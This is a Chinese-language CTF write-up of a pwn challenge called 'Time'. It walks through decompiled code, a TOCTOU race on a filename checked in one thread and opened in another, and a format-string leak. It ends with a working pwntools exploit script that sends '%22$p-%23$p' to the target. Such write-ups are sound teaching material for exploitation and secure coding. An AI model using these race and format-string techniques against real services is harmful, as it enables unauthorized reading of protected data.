# Time
## Information
- Category: Pwn
- Points: Unknown
## Description
> Unknown
## Write-up
当时直接被别的 pwn 题吓跑了，感觉一道也做不出来……今天来复现一下这道 race conditi
on 的题。没看 wp 自己做出来了，草啊，为啥当时不去试试别的题呢？
其实我没学过 race condition，但是因为看过 CSAPP，所以也知道个大概 ba，下面写一下
思路。
```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
get_name();
while ( 1 )
{
while ( !(unsigned int)get_filename() )
;
pthread_create(newthread, 0, (void *(*)(void *))start_routine, 0);
}
}
```
首先是这个 `get_name` 函数，里面先获取了用户名，保存到 bss 中的 `format_0`。然后
fork 出来一个子进程，执行 `/bin/ls / -al`，并在回收子进程后返回到 main 。
```c
unsigned __int64 get_name()
{
char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("please input your name:");
__isoc99_scanf("%100s", format_0);
puts("I will tell you all file names in the current directory!");
argv[0] = "/bin/ls";
argv[1] = "/";
argv[2] = "-al";
argv[3] = 0;
if ( !fork() )
execve("/bin/ls", argv, 0);
wait(0);
puts("good luck :-)");
return v2 - __readfsqword(0x28u);
}
```
返回后进入 main 中的无限循环，先调用了 `get_filename` 函数，读取到的文件名保存在
bss 中的 `file` 这个位置，然后判断输入的文件名是否为 flag，如果是 flag 就返回 0
，接着返回到 main 重新运行这个函数。所以为了让它继续往下执行，我们这里不能直接输
入 flag 。
```c
__int64 get_filename()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1;
puts("flag is not allowed!");
return 0;
}
```
往下看，有个创建子线程的 `pthread_create` 调用，它会创建一个子线程执行 `start_ro
utine`。根据运行测试 plus 逻辑分析，我们知道这个函数中调用的其它不知名功能应该就
是用来计算 md5 的。细节我们不去管它，直接看宏观逻辑的话，应该是计算好 md5 后逐字
节输出，然后清空 buf 用于保存后面 open 打开的文件的内容。之后有个格式化字符串漏
洞，使用的格式化字符串是我们一开始在 get_name 中输入的内容。
```c
unsigned __int64 __fastcall start_routine(void *a1)
{
unsigned int n; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
_DWORD v6[24]; // [rsp+10h] [rbp-460h] BYREF
_BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
_BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]
v9 = __readfsqword(0x28u);
sub_1329(v6);
n = strlen(file);
sub_1379(v6, file, n);
sub_14CB(v6, (__int64)v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(0xA);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8u);
close(fd);
printf("hello ");
printf(format_0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}
```
这题的思路就是，首先让它获取一个非 flag 的文件名，如此我们才能够创建子线程调用 `
start_routine`。而解题的关键在于这里执行子进程和执行父进程之间存在一个 race cond
ition 。
由于程序是并发执行的，运行一段时间主线程就会运行一段时间子线程，而主线程和子线程
到底是哪个先运行，这是无法预测的。可能先跑子线程，跑完跑主线程，也可能先跑主线程
，然后跑子线程……假设我们就是先跑了主线程，那我们就又回到了 `get_filename`，我们
就可以输入 `flag`，覆盖原先为了创建子线程而使用的其它文件名，而由于输入是直接用
scanf 写到 bss 的，所以后面那个检测是不是 flag 的判断我们可以直接忽视。这样一来
，我们再去执行子线程的时候 open 打开的就是 flag 了。
那我们怎么知道它一定会先跑一会儿主线程呢？这涉及了一些更底层的知识，我个人的理解
是，由于现代计算机中的程序都是并发运行的，而每个线程都有一个固定的很短的执行周期
，一旦这个执行周期耗尽，就会切换到另一个进程去执行，然后切换回来，继续执行刚才被
切走的线程，如此反复……由于子线程中计算 md5 的时候调用的函数会占用大量的时钟周期
，所以说如果我们现在在执行子线程，那在需要如此多时钟周期 + 如此短的并发周期内，
它肯定不可能完成子线程的执行，也就是说必然会中途暂停了去执行主线程。那自然就可以
推导出我们必然可以覆盖文件名的内容，让子线程打开我们想要打开的文件……
OK，现在我们知道怎么把 flag 读到内存中了，结合后面那个格式化字符串漏洞，我们就可
以泄漏出内存中的 flag，非常简单。没想到我的第一道 race condition challenge 就这
样挑战成功了。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"%22$p-%23$p",
)
raw_input("DEBUG")
target.sendlineafter(b"name:", payload)
target.sendline(b"aaaa")
target.sendline(b"flag")
target.recvuntil(b"hello ")
resp = target.recvuntil(b" ,").split(b"-")
flag_p1 = bytes.fromhex(resp[0].decode()[2:])[::-1].decode()
flag_p2 = bytes.fromhex("0" + resp[1].decode()[2:-2])[::-1].decode()
flag = flag_p1 + flag_p2
target.success(flag)
target.interactive()
if __name__ == "__main__":
main()
```